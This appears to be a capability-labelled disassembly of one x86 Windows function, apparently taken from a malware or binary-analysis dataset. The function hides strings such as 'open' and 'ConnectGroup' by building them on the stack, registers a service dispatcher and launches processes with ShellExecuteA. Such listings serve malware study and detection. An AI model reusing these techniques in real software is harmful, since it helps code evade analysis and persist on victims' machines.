Function at 0x406870
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Query environment variable
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x750
push ebx
push esi
xor ebx, ebx
push edi
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
push ebx
push ebx
lea eax, [esp + 0x3c]
push ebx
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x35d]
mov byte [esp + 0x35c], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x354
push 0x40a218
stosb byte es:[edi], al
call fcn.004064e0
push 0x19a
push 0x40a078
call fcn.004064e0
mov ecx, dword [esp + 0x778]
push str.Win7
push ecx
call sub.MSVCRT.dll_strstr
add esp, 0x18
test eax, eax
je 0x406918
mov ecx, dword [0x40ab54]
push 0x40a0e0
push 0x40acb4
call fcn.00404550
call fcn.004061d0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
push 1
call fcn.00406170
add esp, 4
test eax, eax
je 0x406945
cmp dword [0x40a55c], ebx
je 0x406caf
call fcn.00405320
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x155]
mov byte [esp + 0x154], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x154]
push 0x104
push edx
push 0x40a3fc
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov ecx, dword [0x40ab54]
lea eax, [esp + 0x154]
push eax
push 0x40a3fc
call fcn.00404550
mov ecx, dword [0x40ab54]
push 0x40a3fc
call fcn.004044d0
cmp byte [eax + 0x40a3fb], 0x5c
jne 0x4069be
mov ecx, dword [0x40ab54]
push 0x40a3fc
call fcn.004044d0
mov byte [eax + 0x40a3fb], bl
push 0x40a460
lea ecx, [esp + 0x28]
push 0x40a3fc
push ecx
push 0x40ab58
mov byte [esp + 0x34], 0x25
mov byte [esp + 0x35], 0x73
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x25
mov byte [esp + 0x38], 0x73
mov byte [esp + 0x39], bl
call sub.MSVCRT.dll_sprintf
mov ecx, dword [0x40ab54]
add esp, 0x10
push 0x40a0e0
push 0x40acb4
call fcn.00404550
cmp dword [0x40a568], ebx
je 0x406a19
call fcn.004067a0
cmp byte [0x40a560], bl
je 0x406bf4
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x259]
mov byte [esp + 0x258], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x258]
push 0x104
push edx
push ebx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [0x40ab54]
lea eax, [esp + 0x258]
push 0x40ab58
push eax
call fcn.004045e0
test eax, eax
jne 0x406ae6
mov al, byte [0x40a560]
mov word [0x40ac90], 3
cmp al, 2
jne 0x406ad3
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x1f4
mov dword [esp + 0x18], 0x40a218
mov dword [esp + 0x1c], 0x406790
mov dword [esp + 0x20], ebx
mov dword [esp + 0x24], ebx
mov word [0x40ac90], 1
call esi
mov edi, dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
lea ecx, [esp + 0x14]
push ecx
call edi
push 0x3e8
call esi
lea edx, [esp + 0x14]
push edx
call edi
mov word [0x40ac90], 2
call fcn.004066e0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push ebp
push 0x40a460
stosb byte es:[edi], al
lea eax, [esp + 0x34]
push 0x40a3fc
lea ecx, [esp + 0x5c]
push eax
push ecx
xor ebp, ebp
xor esi, esi
mov byte [esp + 0x40], 0x25
mov byte [esp + 0x41], 0x73
mov byte [esp + 0x42], 0x5c
mov byte [esp + 0x43], 0x25
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], bl
call sub.MSVCRT.dll_sprintf
push 0x40a492
push 0x40a218
call fcn.00403460
push 0x40a218
call fcn.00405f30
push 0x40a2fc
push 0x40a27c
lea edx, [esp + 0x78]
push 0x40a218
push edx
call fcn.00406cc0
mov edi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 0x2c
push 0x40a460
call fcn.004071b0
add esp, 4
test eax, eax
jne 0x406bbd
inc ebp
cmp ebp, 0xbb8
jb 0x406b70
push 5
push ebx
lea eax, [esp + 0x5c]
push ebx
lea ecx, [esp + 0x1c]
push eax
push ecx
push ebx
xor ebp, ebp
mov byte [esp + 0x28], 0x6f
mov byte [esp + 0x29], 0x70
mov byte [esp + 0x2a], 0x65
mov byte [esp + 0x2b], 0x6e
mov byte [esp + 0x2c], bl
call edi
inc esi
cmp esi, 3
jae 0x406be5
jmp 0x406b70
cmp byte [0x40a560], 1
jne 0x406bd8
lea edx, [esp + 0x54]
push edx
push 0x40a218
call fcn.00405110
add esp, 8
cmp dword [0x40a55c], ebx
je 0x406be5
call fcn.00405320
pop ebp
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10
lea eax, [esp + 0xc]
push 0x40a218
push eax
push 0x40a218
mov byte [esp + 0x18], 0x25
mov byte [esp + 0x19], 0x73
mov byte [esp + 0x1a], bl
call sub.MSVCRT.dll_sprintf
lea ecx, [esp + 0x368]
push 0x400
lea edx, [esp + 0x24]
push ecx
push edx
push 0x40a218
mov byte [esp + 0x30], 0x43
mov byte [esp + 0x31], 0x6f
mov byte [esp + 0x32], 0x6e
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], 0x65
mov byte [esp + 0x35], 0x63
mov byte [esp + 0x36], 0x74
mov byte [esp + 0x37], 0x47
mov byte [esp + 0x38], 0x72
mov byte [esp + 0x39], 0x6f
mov byte [esp + 0x3a], 0x75
mov byte [esp + 0x3b], 0x70
mov byte [esp + 0x3c], bl
call fcn.00404aa0
add esp, 0x1c
lea eax, [esp + 0x35c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
test eax, eax
jne 0x406ca3
push 0x40a492
push 0x40a218
call fcn.00403460
push 0x40a218
call fcn.00405f30
add esp, 0xc
mov word [0x40ac90], bx
call fcn.004061d0
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x750
ret 0x10